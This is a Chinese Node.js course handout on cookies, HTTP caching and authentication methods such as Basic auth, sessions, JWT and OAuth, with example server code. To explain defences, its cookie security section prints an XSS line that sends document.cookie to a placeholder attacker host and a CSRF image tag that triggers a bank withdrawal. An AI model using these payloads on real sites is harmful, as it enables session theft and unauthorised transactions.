课程目标
- 掌握
Node Cookie基本用法; - 掌握
Node缓存; - 掌握常见的鉴权方法;
课程大纲
CookieNode缓存Node鉴权
Cookie
HTTP Cookie(通常也叫 Web Cookie 或浏览器 Cookie),是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。通常,它用于告知服务端两个请求是否来自同一浏览器,如保持用户的登录状态。支持无状态的 HTTP 变为 “有状态”。
Cookie 作用:
- 会话状态管理:如用户登录状态、购物车、游戏分数或其它需要记录的信息;
- 个性化设置:如用户自定义设置、主题等;
- 浏览器行为跟踪:如跟踪分析用户行为等;
Cookie 曾一度用于客户端数据的存储,因当时并没有其它合适的存储办法而作为唯一的存储手段,但现在随着现代浏览器开始支持各种各样的存储方式,(webStorage、indexDB)Cookie 渐渐被淘汰。
当服务器收到 HTTP 请求时,服务器可以在响应头里面添加一个 Set-Cookie 选项。浏览器收到响应后通常会保存下 Cookie,之后对该服务器每一次请求中都通过 Cookie 请求头部将 Cookie 信息发送给服务器。
Set-Cookie
服务器使用 Set-Cookie 响应头部向用户代理(一般是浏览器)发送 Cookie 信息。一个简单的 Cookie 可能像这样:
Set-Cookie: <cookie 名>=<cookie 值>
服务器通过该头部告知客户端保存 Cookie 信息:
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry
现在,对该服务器发起的每一次新请求,浏览器都会将之前保存的 Cookie 信息通过 Cookie 请求头部再发送给服务器。
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
Cookie 的生命周期
Cookie 的生命周期包括:
- 会话期
Cookie:浏览器关闭之后它会被自动删除,也就是说它仅在会话期内有效,会话期Cookie不需要指定过期时间(Expires)或者有效期(Max-Age); - 持久性
Cookie:生命周期取决于过期时间(Expires)或有效期(Max-Age);
例如:
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
提示:当 Cookie 的过期时间被设定时,设定的日期和时间只与客户端相关,而不是服务端。
如何保证 Cookie 安全性
Secure 属性和 HttpOnly 属性;
Secure
Secure:表示只应通过被HTTPS协议加密过的请求发送给服务端;- 概要:只有
HTTPS才能携带cookie;
- 概要:只有
HttpOnly
HttpOnly:JavaScript Document.cookie API无法访问带有HttpOnly属性的cookie;此类Cookie仅作用于服务器,例如,持久化服务器端会话的Cookie不需要对JavaScript可用,而应具有HttpOnly属性;- 概要:只有服务器才能下发
cookie,本地js无法操作cookie;
- 概要:只有服务器才能下发
示例:
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
Cookie 的作用域
Domain 和 Path 标识定义了 Cookie 的作用域:即允许 Cookie 应该发送给哪些 URL。
Domain 属性
Domain 指定了哪些主机可以接受 Cookie。如果不指定,默认为 origin,不包含子域名。如果指定了 Domain,则一般包含子域名。因此,指定 Domain 比省略它的限制要少;
例如,如果设置 Domain=xianzao.com,则 Cookie 也包含在子域名中(如 dev.xianzao.com)
Path 属性
Path 标识指定了主机下的哪些路径可以接受 Cookie(该 URL 路径必须存在于请求 URL 中)
例如,设置 Path=/a,则以下地址都会匹配:
/a/a/b//a/b/c
SameSite attribute
SameSite Cookie 允许服务器要求某个 cookie 在跨站请求时不会被发送,从而可以阻止 CSRF。
下面是例子:
Set-Cookie: key=value; SameSite=Strict
SameSite 可以有下面三种值:
None:浏览器会在同站请求、跨站请求下继续发送cookies,不区分大小写;Strict:浏览器将只在访问相同站点时发送cookie;Lax:与Strict类似,但用户从外部站点导航至URL时(例如通过链接)除外。 在新版本浏览器中,为默认选项,Same-site cookies将会为一些跨站子请求保留,如图片加载或者frames的调用,但只有当用户从外部站点导航到URL时才会发送。如link链接;
以前,如果 SameSite 属性没有设置,或者没有得到运行浏览器的支持,那么它的行为等同于 None,Cookies 会被包含在任何请求中 —— 包括跨站请求;
大多数主流浏览器基本上已经将 SameSite 的默认值迁移至 Lax。如果想要指定 Cookies 在同站、跨站请求都被发送,现在需要明确指定 SameSite 为 None;
JS 操作 Cookie
通过 Document.cookie 属性可创建新的 Cookie,也可通过该属性访问非 HttpOnly 标记的 Cookie;
document.cookie = 'user=xianzao';
document.cookie = 'tasty_cookie=strawberry';
console.log(document.cookie); // user=xianzao; tasty_cookie=strawberry
通过 JavaScript 创建的 Cookie 不能包含 HttpOnly 标志;
安全性 —— 攻击
减少 Cookie 的攻击的方法:
- 使用
HttpOnly属性可防止通过JavaScript访问cookie值; - 用于敏感信息(例如指示身份验证)的
Cookie的生存期应较短,并且SameSite属性设置为Strict或Lax;
XSS 攻击
在 Web 应用中,Cookie 常用来标记用户或授权会话。因此,如果 Web 应用的 Cookie 被窃取,可能导致授权用户的会话受到攻击。
new Image().src = 'http://www.evil-domain.com/steal-cookie.php?cookie=' + document.cookie;
如何避免上面的操作? => 可以设置 HttpOnly,设置 HttpOnly 后 document.cookie 无法获取到 cookie 信息。
HttpOnly 类型的 Cookie 用于阻止了 JavaScript 对其的访问性而能在一定程度上缓解此类攻击。
CSRF 攻击
在不安全聊天室或论坛上的一张图片,它实际上是一个给你银行服务器发送提现的请求:
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
当你打开含有了这张图片的 HTML 页面时,如果你之前已经登录了你的银行帐号并且 Cookie 仍然有效(还没有其它验证步骤),你银行里的钱很可能会被自动转走。
cookie samesite限制strict;- 任何敏感操作都需要确认;
- 用于敏感信息的
Cookie只能拥有较短的生命周期;
Node 缓存
缓存作用
-
为了提高速度,提高效率;
-
减少数据传输,节省网费;
-
减少服务器的负担,提高网站性能;
-
加快客户端加载网页的速度;
缓存类型
强制缓存是客户端的缓存,协商缓存(对比缓存)是服务端的缓存。
强制缓存
当客户端请求后,会先访问缓存数据库看缓存是否存在。如果存在则直接返回,不存在则请求真的服务器。
强制缓存直接减少请求数,是提升最大的缓存策略,如果考虑使用缓存来优化网页性能的话,强制缓存应该是首先被考虑的。
强制缓存不需要与服务器发生交互。
- 缓存命中:客户端请求数据,现在本地的缓存数据库中查找,如果本地缓存数据库中有该数据,且该数据没有失效,则取缓存数据库中的该数据返回给客户端;
- 缓存未命中:客户端请求数据,现在本地的缓存数据库中查找,如果本地缓存数据库中没有该数据,且该数据失效,则向服务器请求该数据,此时服务器返回该数据和该数据的缓存规则返回给客户端,客户端收到该数据和缓存规则后,一起放到本地的缓存数据库中留存,以备下次使用;
可以造成强制缓存的字段是 Cache-control 和 Expires;
Expires
这是 HTTP/1.0 的字段,表示缓存到期时间,是一个绝对的时间(当前时间 + 缓存时间)。在响应消息头中,设置这个字段之后,就可以告诉浏览器,在未过期之前不需要再次请求。
比如:Expires: Thu, 22 Mar 2029 16:06:42 GMT
缺点:若修改电脑的本地时间,会导致浏览器判断缓存失效 这里修重新修改缓存;
Q:为什么有
Expires还要设置Cache-control?本地的时间是可以设置的,可能导致
cookie提前或者稍后失效;
Cache-control
在得知 Expires 的缺点之后,在 HTTP/1.1 中,增加了一个字段 Cache-control,该字段表示 资源缓存的最大有效时间,在该时间内,客户端不需要向服务器发送请求;
Q:
Expires和Cache-control区别是什么?
Expires设置的是 绝对时间;Cache-control设置的是 相对时间;Cache-control优先级大于Expires;
Cache-control: max-age=20 // 表示有效时间为 20s
// 服务端设置
res.setHeader('Cache-control', 'no-store')
res.setHeader('Cache-control', 'max-age=20')
cache-control 设置:
no-cache:告诉浏览器忽略资源的缓存副本,强制每次请求直接发送给服务器,拉取资源,但不是 “不缓存”,相当于需要使用协商缓存,禁止使用强制缓存;no-store:强制缓存在任何情况下都不要保留任何副本,相当于不使用强制缓存和协商缓存 —— 禁止使用任何类型的缓存;public: 任何路径的缓存者(客户端的本地缓存、proxy代理服务器),可以无条件的缓存改资源,不设置默认为public;private: 只针对单个用户或者实体(不同用户、窗口)缓存资源;
优先级:4 -> 2 -> 1 -> 3;
代码示例
/**
* 1. 第一次访问服务器的时候,服务器返回资源和缓存的标识,客户端则会把此资源缓存在本地的缓存数据库中
* 2. 第二次客户端需要此数据的时候,要取得缓存的标识,然后去问一下服务器我的资源是否是最新的
* 如果是最新的则直接使用缓存数据,如果不是最新的则服务器返回新的资源和缓存规则,客户端根据缓存规则缓存新的数据
*/
let http = require('http');
let url = require('url');
let path = require('path');
let fs = require('fs');
let mime = require('mime');
/**
* 强制缓存
* 把资源缓存在客户端,如果客户端再次需要此资源的时候,先获取到缓存中的数据,看是否过期,如果过期了,再请求服务器
* 如果没过期,则根本不需要向服务器确认,直接使用本地缓存即可
*/
http
.createServer(function (req, res) {
let { pathname } = url.parse(req.url, true);
let filepath = path.join(__dirname, pathname);
fs.stat(filepath, (err, stat) => {
if (err) {
return sendError(req, res);
} else {
send(req, res, filepath);
}
});
})
.listen(8080);
function sendError(req, res) {
res.end('Not Found');
}
function send(req, res, filepath) {
res.setHeader('Content-Type', mime.getType(filepath));
// expires 指定了此缓存的过期时间,此响应头是 1.0 定义的,在 1.1 里面已经不再使用了
// toUTCString() 根据世界时将 Date 对象转换为字符串
res.setHeader('Expires', new Date(Date.now() + 30 * 1000).toUTCString());
// 一般情况下 Cache-Control 和 Expires 不会同时设置,这里只是为了演示
// 如果同时存在了,Cache-Control 也会覆盖掉 Expires
res.setHeader('Cache-Control', 'max-age=30');
res.setHeader('Cache-control', 'no-store');
fs.createReadStream(filepath).pipe(res);
}
协商缓存(对比缓存)
当强制缓存失效(超过规定时间)时,就需要使用协商缓存,由 服务器决定 缓存内容是否失效,协商缓存是可以和强制缓存一起使用;
last-modified
- 服务器在响应头中设置
last-modified字段返回给客户端,告诉客户端资源最后一次修改的时间;Last-Modified: Sat, 30 Mar 2029 05:46:11 GMT
- 客户端在浏览器中记录
Last-Modified; - 下次请求相同资源,浏览器将在请求头(
request header)中设置if-modified-since的值(这个值就是第一步响应头中的Last-Modified的值)传给服务器; - 服务器收到请求头的
if-modified-since的值与last-modified的值比较,如果相等,表示未进行修改,则返回状态码为304;如果不相等,则修改了,返回状态码为200,并返回数据;
缺点:
last-modified是以 秒 为单位的,假如资料在1s内可能修改几次,那么该缓存就不能被使用的;- 如果文件是通过服务器动态生成,那么
last-modified更新的时间永远就是生成的时间,尽管文件可能没有变化,文件每次都要重新获取,所以起不到缓存的作用;
代码示例 - Last-Modified
let http = require('http');
let url = require('url');
let path = require('path');
let fs = require('fs');
let mime = require('mime');
http
.createServer(function (req, res) {
let { pathname } = url.parse(req.url);
let filepath = path.join(__dirname, pathname);
fs.stat(filepath, function (err, stat) {
if (err) {
return sendError(req, res);
} else {
// 再次请求的时候会问服务器自从上次修改之后有没有改过
let ifModifiedSince = req.headers['if-modified-since'];
// stat.ctime 它返回一个日期值,该日期值表示上次更改文件状态时的时间戳
let LastModified = stat.ctime.toGMTString();
console.log('ifModifiedSince ======== ', ifModifiedSince);
console.log('LastModified ======== ', LastModified);
if (ifModifiedSince === LastModified) {
res.writeHead('304');
res.end('');
} else {
return send(req, res, filepath, stat);
}
}
});
})
.listen(8080);
function sendError(req, res) {
res.end('Not Found');
}
function send(req, res, filepath, stat) {
res.setHeader('Content-Type', mime.getType(filepath));
// 发给客户端之后,客户端会把此时间保存下来,下次再获取此资源的时候会把这个时间再发给服务器
// toGMTString() 方法可根据格林威治时间 (GMT) 把 Date 对象转换为字符串
res.setHeader('Last-Modified', stat.ctime.toGMTString());
fs.createReadStream(filepath).pipe(res);
}
Etag
Etag 是根据文件内容,算出一个唯一的值,如果文件内容不变,Etag 的值不变,服务器存储着文件的 Etag 字段。
之后的流程和 Last-Modified 一致,只是 Last-Modified 字段和它所表示的更新时间改变成了 Etag 字段和它所表示的文件 hash,把 If-Modified-Since 变成了 If-None-Match。
服务器同样进行比较,命中返回 304,不命中返回新资源和 200。
Etag 的优先级高于 Last-Modified。
缺点:
- 每次请求的时候,服务器都会把文件读取一次,以确认文件有没有修改;
- 如果是大文件进行
Etag,一般用文件的大小+文件的最后修改时间来组合生成这个Etag;
代码示例 - Etag
let http = require('http');
let url = require('url');
let path = require('path');
let fs = require('fs');
let mime = require('mime');
// let crypto = require("let crypto = require('mime');\n");
let crypto = require('crypto');
http
.createServer(function (req, res) {
let { pathname } = url.parse(req.url);
let filepath = path.join(__dirname, pathname);
fs.stat(filepath, function (err, stat) {
if (err) {
return sendError(req, res);
} else {
let ifNoneMatch = req.headers['if-none-match'];
// 第一种:通过文件的修改时间加上文件的大小
let etag = `${stat.ctime}-${stat.size}`; // 最新的更新时间 + 文件大小
if (ifNoneMatch === etag) {
res.writeHead('304');
res.end('');
} else {
return send(req, res, filepath, etag);
}
}
});
})
.listen(8080);
function sendError(req, res) {
res.end('Not Found');
}
function send(req, res, filepath, etag) {
res.setHeader('Content-Type', mime.getType(filepath));
// 第一次服务器返回的时候,会把文件的内容算出来一个标示发送给客户端
// 客户端看到 Etag 之后,也会把此标识符保存在客户端,下次再访问服务器的时候,发给服务器
res.setHeader('Etag', etag);
fs.createReadStream(filepath).pipe(res);
}
let http = require('http');
let url = require('url');
let path = require('path');
let fs = require('fs');
let mime = require('mime');
// let crypto = require("let crypto = require('mime');\n");
let crypto = require('crypto');
http
.createServer(function (req, res) {
let { pathname } = url.parse(req.url);
let filepath = path.join(__dirname, pathname);
fs.stat(filepath, function (err, stat) {
if (err) {
return sendError(req, res);
} else {
let ifNoneMatch = req.headers['if-none-match'];
// 第二种:显然当我们的文件非常大的时候通过文件大小的方法就行不通,这时候我们可以用流来解决,可以节约内存
let out = fs.createReadStream(filepath);
let md5 = crypto.createHash('md5');
/*
md5 算法的特点
1、相同的输入相同的输出
2、不同的输入不通的输出
3、不能根据输出反推输入
4、任意的输入长度输出长度是相同的
*/
out.on('data', function (data) {
md5.update(data);
});
out.on('end', function (err, content) {
let etag = md5.update(content).digest('hex');
if (ifNoneMatch === etag) {
res.writeHead('304');
res.end('');
} else {
return send(req, res, filepath, etag);
}
});
}
});
})
.listen(8080);
function sendError(req, res) {
res.end('Not Found');
}
function send(req, res, filepath, etag) {
res.setHeader('Content-Type', mime.getType(filepath));
// 第一次服务器返回的时候,会把文件的内容算出来一个标示发送给客户端
// 客户端看到 Etag 之后,也会把此标识符保存在客户端,下次再访问服务器的时候,发给服务器
res.setHeader('Etag', etag);
fs.createReadStream(filepath).pipe(res);
}
let http = require('http');
let url = require('url');
let path = require('path');
let fs = require('fs');
let mime = require('mime');
// let crypto = require("let crypto = require('mime');\n");
let crypto = require('crypto');
http
.createServer(function (req, res) {
let { pathname } = url.parse(req.url);
let filepath = path.join(__dirname, pathname);
fs.stat(filepath, function (err, stat) {
if (err) {
return sendError(req, res);
} else {
let ifNoneMatch = req.headers['if-none-match'];
// 第三种:使用 fs.readFile
fs.readFile(filepath, function (err, content) {
let md5 = crypto.createHash('md5');
let etag = md5.update(content).digest('hex');
if (ifNoneMatch == etag) {
res.writeHead('304');
res.end('');
} else {
return send(req, res, filepath, stat, etag);
}
});
}
});
})
.listen(8080);
function sendError(req, res) {
res.end('Not Found');
}
function send(req, res, filepath, etag) {
res.setHeader('Content-Type', mime.getType(filepath));
// 第一次服务器返回的时候,会把文件的内容算出来一个标示发送给客户端
// 客户端看到 Etag 之后,也会把此标识符保存在客户端,下次再访问服务器的时候,发给服务器
res.setHeader('Etag', etag);
fs.createReadStream(filepath).pipe(res);
}
实际开发
- 建议使用
redis(高效的kv键值对存储机制)作为缓存介质; node中可以使用node-cache;
Node 鉴权
目前常用的鉴权有四种:
HTTP Basic Authentication;session-cookie;Token验证 -JWT;OAuth(开放授权);
HTTP Basic Authentication
这种授权方式是浏览器遵守 HTTP 协议实现的基本授权方式,HTTP 协议进行通信的过程中,HTTP 协议定义了基本认证允许 HTTP 服务器对客户端进行用户身份证的方法。
认证过程:
- 客户端向服务器请求数据,请求的内容可能是一个网页或者是一个
ajax异步请求,此时,假设客户端尚未被验证,则客户端提供如下请求至服务器:
Get /index.html HTTP/1.0 Host:www.xianzao.com
- 服务器向客户端发送验证请求代码
401(401表示未被授权),(WWW-Authenticate: Basic realm="xianzao.com"这句话是关键,如果没有客户端不会弹出用户名和密码输入界面)服务器返回的数据大抵如下:
HTTP/1.0 401 Unauthorised
# realm 用来描述进行保护的区域,或者指代保护的范围,
# 它可以是类似于 "Access to the staging site" 的消息,
# 这样用户就可以知道他们正在试图访问哪一空间
WWW-Authenticate: Basic realm="xianzao.com"
Content-Type: text/html
Content-Length: xxx
- 当符合
http 1.0或1.1规范的客户端(如Firefox,Chrome)收到401返回值时,将自动弹出一个登录窗口,要求用户输入用户名和密码; - 用户输入用户名和密码后,将用户名及密码以
Base64加密方式加密,并将密文放入前一条请求信息中,则客户端发送的第一条请求信息则变成如下内容:
Get /index.html HTTP/1.0
Host:www.xianzao.com
Authorization: Basic d2FuZzp3YW5n
注:d2FuZzp3YW5n 表示加密后的用户名及密码(用户名、密码然后通过 Base64 加密,加密过程是浏览器默认的行为,不需要我们人为加密,我们只需要输入用户名密码即可);
- 服务器收到上述请求信息后,将
Authorization字段后的用户信息取出并解密,将解密后的用户名及密码与用户数据库进行比较验证,如用户名及密码正确,服务器则根据请求,将所请求资源发送给客户端;
客户端未未认证的时候,会弹出用户名密码输入框,这个时候请求时属于 pending 状态,当用户输入用户名密码的时候客户端会再次发送带 Authentication 头的请求。
代码示例
app.js
let express = require('express');
let app = express();
app.use(express.static(__dirname + '/public'));
app.get('/Authentication_base', function (req, res) {
console.log('req.headers.authorization:', req.headers);
if (!req.headers.authorization) {
res.set({
'WWW-Authenticate': 'Basic realm="xianzao"',
});
res.status(401).end();
} else {
let base64 = req.headers.authorization.split(' ')[1];
let userPass = new Buffer(base64, 'base64').toString().split(':');
let user = userPass[0];
let pass = userPass[1];
if (user === 'xianzao' && pass === 'xianzao') {
res.end('OK');
} else {
res.status(401).end();
}
}
});
app.listen(8000);
index.html
async authenticaition_base() {
await axios.post('/Authentication_base')
}
优点:
- 所有流行的网页浏览器都支持基本认证,但基本认证很少在可公开访问的互联网网站上使用,有时候会在小的私有系统中使用(如路由器网页管理接口);
- 开发时使用基本认证,是使用
Telnet或其他明文网络协议工具手动地测试Web服务器,因为传输的内容是可读的,以便进行诊断;
缺点:
- 由于用户
ID与密码是以明文的形式在网络中进行传输的(尽管采用了base64编码,但是base64算法是可逆的),所以基本验证方案并不安全,如果没有使用SSL/TLS这样的传输层安全的协议,那么以明文传输的密钥和口令很容易被拦截,该方案也同样没有对服务器返回的信息提供保护; - 现在的浏览器保存认证信息直到标签页或浏览器被关闭,或者用户清除历史记录,
HTTP没有为服务器提供一种方法指示客户端丢弃这些被缓存的密钥,这意味着服务器端在用户不关闭浏览器的情况下,并没有一种有效的方法来让用户注销;
session-cookie
cookie
Http 协议是一个无状态的协议,服务器不会知道到底是哪一台浏览器访问了它,因此需要一个标识用来让服务器区分不同的浏览器,cookie 就是这个管理服务器与客户端之间状态的标识。
cookie 原理:
- 浏览器第一次向服务器发送请求,服务器在
response头部设置Set-Cookie字段; - 浏览器客户端收到响应就会设置
cookie并存储; - 在下一次该浏览器向服务器发送请求时,就会在
request头部自动带上cookie字段,服务器端收到该cookie用以区分不同的浏览器;
const http = require('http');
http
.createServer((req, res) => {
if (req.url === '/favicon.ico') {
return;
} else {
res.setHeader('Set-Cookie', 'name=xianzao');
res.end('Hello Cookie');
}
})
.listen(3000);
session
session 是 会话 的意思,浏览器第一次访问服务端,服务端就会创建一次会话,在会话中保存标识该浏览器的信息,它与 cookie 的区别就是 session 是缓存在服务端的,cookie 则是缓存在客户端,他们都由服务端生成,为了弥补 Http 协议无状态的缺陷。
session 和 cookie 区别
session是缓存在服务端的;cookie则是缓存在客户端;
session-cookie 认证
- 服务器在接受客户端首次访问时在服务器端创建
seesion,然后保存seesion(我们可以将seesion保存在内存中,也可以保存在redis中,推荐使用后者),然后给这个session生成一个唯一的标识字符串Session ID,然后在response header中种下这个唯一标识字符串; - 签名,这一步通过秘钥对
sid进行签名处理,避免客户端修改sid;(非必需步骤) - 浏览器中收到请求响应的时候会解析响应头,然后将
sid保存在本地cookie中,浏览器在下次http请求的请求头中会带上该域名下的cookie信息; - 服务器在接受客户端请求时会去解析请求头
cookie中的sid,然后根据这个sid去找服务器端保存的该客户端的session,然后判断该请求是否合法;
const http = require('http');
// 此时 session 存在内存中
const session = {};
http
.createServer((req, res) => {
const sessionKey = 'sid';
if (req.url === '/favicon.ico') {
return;
} else {
const cookie = req.headers.cookie;
// 再次访问,对 sid 请求进行认证
if (cookie && cookie.indexOf(sessionKey) > -1) {
res.end('Come Back');
}
// 首次访问,生成 sid,保存在服务器端
else {
const sid = (Math.random() * 9999999).toFixed();
res.setHeader('Set-Cookie', `${sessionKey}=${sid}`);
session[sid] = { name: 'xianzao' };
res.end('Hello Cookie');
}
}
})
.listen(3000);
redis
redis 是一个键值服务器,可以专门放 session 的键值对。
如何在 koa 中使用 session:
const koa = require('koa');
const session = require('koa-session');
const redisStore = require('koa-redis');
const redis = require('redis');
const wrapper = require('co-redis');
const app = new koa();
const redisClient = redis.createClient(6379, 'localhost');
const client = wrapper(redisClient);
// 加密 sessionid
app.keys = ['session secret'];
const SESS_CONFIG = {
key: 'kbb:sess',
// 此时让 session 存储在 redis 中
store: redisStore({ client }),
};
app.use(session(SESS_CONFIG, app));
app.use(ctx => {
// 查看 redis 中的内容
redisClient.keys('*', (errr, keys) => {
console.log('keys:', keys);
keys.forEach(key => {
redisClient.get(key, (err, val) => {
console.log(val);
});
});
});
if (ctx.path === '/favicon.ico') return;
let n = ctx.session.count || 0;
ctx.session.count = ++n;
ctx.body = `第${n}次访问`;
});
app.listen(3000);
用户登录认证
使用 session-cookie 做登录认证时,登录时存储 session,退出登录时删除 session,而其他的需要登录后才能操作的接口需要提前验证是否存在 session,存在才能跳转页面,不存在则回到登录页面。
在 koa 中做一个验证的中间件,在需要验证的接口中使用该中间件。
- 前端代码
async login() {
await axios.post('/login', {
username: this.username,
password: this.password
})
},
async logout() {
await axios.post('/logout')
},
async getUser() {
await axios.get('/getUser')
}
- 中间件
auth.js
module.exports = async (ctx, next) => {
if (!ctx.session.userinfo) {
ctx.body = {
ok: 0,
message: "用户未登录" };
} else {
await next();
}
};
// 需要验证的接口
router.get('/getUser', require('auth'), async ctx => {
ctx.body = {
message: '获取数据成功',
userinfo: ctx.session.userinfo,
};
});
// 登录
router.post('/login', async ctx => {
const { body } = ctx.request;
console.log('body', body);
// 设置 session
ctx.session.userinfo = body.username;
ctx.body = {
message: '登录成功',
};
});
// 登出
router.post('/logout', async ctx => {
// 设置 session
delete ctx.session.userinfo;
ctx.body = {
message: '登出系统',
};
});
Token
token 是一个令牌,浏览器第一次访问服务端时会签发一张令牌,之后浏览器每次携带这张令牌访问服务端就会认证该令牌是否有效,只要服务端可以解密该令牌,就说明请求是合法的,令牌中包含的用户信息还可以区分不同身份的用户。一般 token 由用户信息、时间戳和由 hash 算法加密的签名构成。
token = 用户信息 + 时间戳 + hash 算法加密的签名。
Token 认证流程
- 客户端使用用户名和密码请求登录;
- 服务端收到请求,去验证用户名与密码;
- 验证成功后,服务端会签发一个
Token,再把这个Token发送给客户端; - 客户端收到
Token以后可以把它存储起来,比如放在Cookie里或者LocalStorage里; - 客户端每次向服务端请求资源的时候需要带着服务端签发的
Token; - 服务端收到请求,然后去验证客户端请求里面带着的
Token(request头部添加Authorization),如果验证成功,就向客户端返回请求的数据 ,如果不成功返回401错误码,鉴权失败;
Token 和 session 的区别
session-cookie 的缺点:
- 认证方式局限于在 浏览器 中使用,
cookie是浏览器端的机制,如果在app端就无法使用cookie; - 为了满足
sid全局一致性,我们最好把session存储在redis中做持久化,而在分布式环境下,我们可能需要在每个服务器上都备份,占用了大量的存储空间; - 在不是
Https协议下使用cookie,容易受到CSRF跨站点请求伪造攻击;
token 的缺点:
- 加密解密消耗使得
token认证比session-cookie更消耗性能; token比sid大,更占带宽;
两者对比,它们的区别显而易见:
token认证不局限于cookie,这样就使得这种认证方式可以支持多种客户端,而不仅是浏览器,且不受同源策略的影响;- 不使用
cookie就可以规避CSRF攻击; token不需要存储,token中已包含了用户信息,服务器端变成无状态,服务器端只需要根据定义的规则校验这个token是否合法就行,这也使得token的可扩展性更强;
JWT(JSON Web Token)
基于 token 的解决方案有许多,常用的是 JWT,JWT 的原理是,服务器认证以后,生成一个 JSON 对象,这个 JSON 对象肯定不能裸传给用户,那谁都可以篡改这个对象发送请求。因此这个 JSON 对象会被服务器端签名加密后返回给用户,返回的内容就是一张令牌,以后用户每次访问服务器端就带着这张令牌。
这个 JSON 对象可能包含的内容就是用户的信息,用户的身份以及令牌的过期时间。
JWT 的组成部分
在该网站 JWT - https://jwt.io ,可以解码或编码一个 JWT。一个 JWT 形如:
它由三部分组成:Header(头部)、Payload(负载)、Signature(签名)
Header部分是一个JSON对象,描述JWT的元数据。一般描述信息为该Token的加密算法以及Token的类型。{"alg": "HS256", "typ": "JWT"}的意思就是,该token使用HS256加密,token类型是JWT。这个部分基本相当于明文,它将这个JSON对象做了一个Base64转码,变成一个字符串。Base64编码解码是有算法的,解码过程是可逆的。头部信息默认携带着两个字段;Payload部分也是一个JSON对象,用来存放实际需要传递的数据。一般存放用户名、用户身份以及一些JWT的描述字段。它也只是做了一个Base64编码,因此肯定不能在其中存放秘密信息,比如说登录密码之类的;Signature是对前面两个部分的签名,防止数据篡改,如果前面两段信息被人修改了发送给服务器端,此时服务器端是可利用签名来验证信息的正确性的。签名需要密钥,密钥是服务器端保存的,用户不知道。算出签名以后,把Header、Payload、Signature三个部分拼成一个字符串,每个部分之间用 "点"(.)分隔(header.payload.signature),就可以返回给用户;
JWT 的特点
JWT默认是不加密,但也是可以加密的,生成原始Token以后,可以用密钥再加密一次;JWT不加密的情况下,不能将秘密数据写入JWT;JWT不仅可以用于认证,也可以用于交换信息,有效使用JWT,可以降低服务器查询数据库的次数;JWT的最大缺点是,由于服务器不保存session状态,因此无法在使用过程中废止某个token,或者更改token的权限。也就是说,一旦JWT签发了,在到期之前就会始终有效,除非服务器部署额外的逻辑;JWT本身包含了认证信息,一旦泄露,任何人都可以获得该令牌的所有权限。为了减少盗用,JWT的有效期应该设置得比较短。对于一些比较重要的权限,使用时应该再次对用户进行认证;- 为了减少盗用,
JWT不应该使用HTTP协议明码传输,要使用HTTPS协议传输;
JWT 实战
./handlers.js
const jwt = require('jsonwebtoken');
const jwtKey = 'xianzao_secret_key'; // 就是密钥,服务端去维护
const jwtExpirySeconds = 30; // 超时的时间,单位为 s
const users = {
user1: 'password1',
user2: 'password2',
};
const signIn = (req, res) => {
const { username, password } = req.body;
if (!username || !password || users[username] !== password) {
return res.status(401).end();
}
// 创建 JWT,并将 username 置于 payload,过期时间为 30s
const token = jwt.sign({ username }, jwtKey, {
algorithm: 'HS256', // 算法
expiresIn: jwtExpirySeconds,
});
console.log('token >>>>> ', token);
// eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIxIiwiaWF0IjoxNjY0NzMzOTIxLCJleHAiOjE2NjQ3MzQyMjF9.oBkwvzyChc5H0Ti4db2T9Tp0FBbuJN30IEC_Lkskc88
// 设置 cookie,存储 token 至本地,且有效期保持一致
res.cookie('token', token, { maxAge: jwtExpirySeconds * 1000 });
res.end();
};
const welcome = (req, res) => {
// 从请求中的 cookie 中获取 token
const token = req.cookies.token;
// 没有 token 返回 401
if (!token) {
return res.status(401).end();
}
let payload;
try {
// 校验 token 和 jwtKey
payload = jwt.verify(token, jwtKey);
} catch (e) {
if (e instanceof jwt.JsonWebTokenError) {
return res.status(401).end();
}
// 否则,返回 400 bad request
return res.status(400).end();
}
res.send(`Welcome ${payload.username}!`);
};
const refresh = (req, res) => {
const token = req.cookies.token;
if (!token) {
return res.status(401).end();
}
let payload;
try {
payload = jwt.verify(token, jwtKey);
} catch (e) {
if (e instanceof jwt.JsonWebTokenError) {
return res.status(401).end();
}
return res.status(400).end();
}
// 当且仅当有效期在 30s 内,重新生成 token,否则,返回 400,不重新创建 token
const nowUnixSeconds = Math.round(Number(new Date()) / 1000);
if (payload.exp - nowUnixSeconds > jwtExpirySeconds) {
return res.status(400).end();
}
// 创建新的 jwt token
const newToken = jwt.sign({ username: payload.username }, jwtKey, {
algorithm: 'HS256',
expiresIn: jwtExpirySeconds,
});
res.cookie('token', newToken, { maxAge: jwtExpirySeconds * 1000 });
res.end();
};
module.exports = {
signIn,
welcome,
refresh,
};
./index.js
const express = require('express');
const bodyParser = require('body-parser');
const cookieParser = require('cookie-parser');
const { signIn, welcome, refresh } = require('./handlers');
const app = express();
app.use(bodyParser.json());
app.use(cookieParser());
app.post('/signIn', signIn);
app.get('/welcome', welcome);
app.post('/refresh', refresh);
app.listen(8000);
./test.http:vsCode安装REST Client插件
POST http://localhost:8000/signIn
Content-Type: application/json
{
"username": "user1",
"password":"password1"
}
###
POST http://localhost:8000/signIn
Content-Type: application/json
{
"username": "user1",
"password":"password"
}
###
GET http://localhost:8000/welcome
###
POST http://localhost:8000/refresh
登录失败图:
登录成功图:
OAuth(开放授权)
OAuth(Open Authorization)是一个开放标准,允许用户授权第三方网站访问他们存储在另外的服务提供者上的信息,而不需要将用户名和密码提供给第三方网站或分享他们数据的所有内容,为了保护用户数据的安全和隐私,第三方网站访问用户数据前都需要显式的向用户征求授权。我们常见的提供 OAuth 认证服务的厂商有支付宝、QQ、微信。
OAuth 协议又有 1.0 和 2.0 两个版本。相比较 1.0 版,2.0 版整个授权验证流程更简单更安全,也是目前最主要的用户身份验证和授权方式。
OAuth 认证流程
OAuth 就是一种授权机制。数据的所有者告诉系统,同意授权第三方应用进入系统,获取这些数据。系统从而产生一个短期的进入令牌(token),用来代替密码,供第三方应用使用。
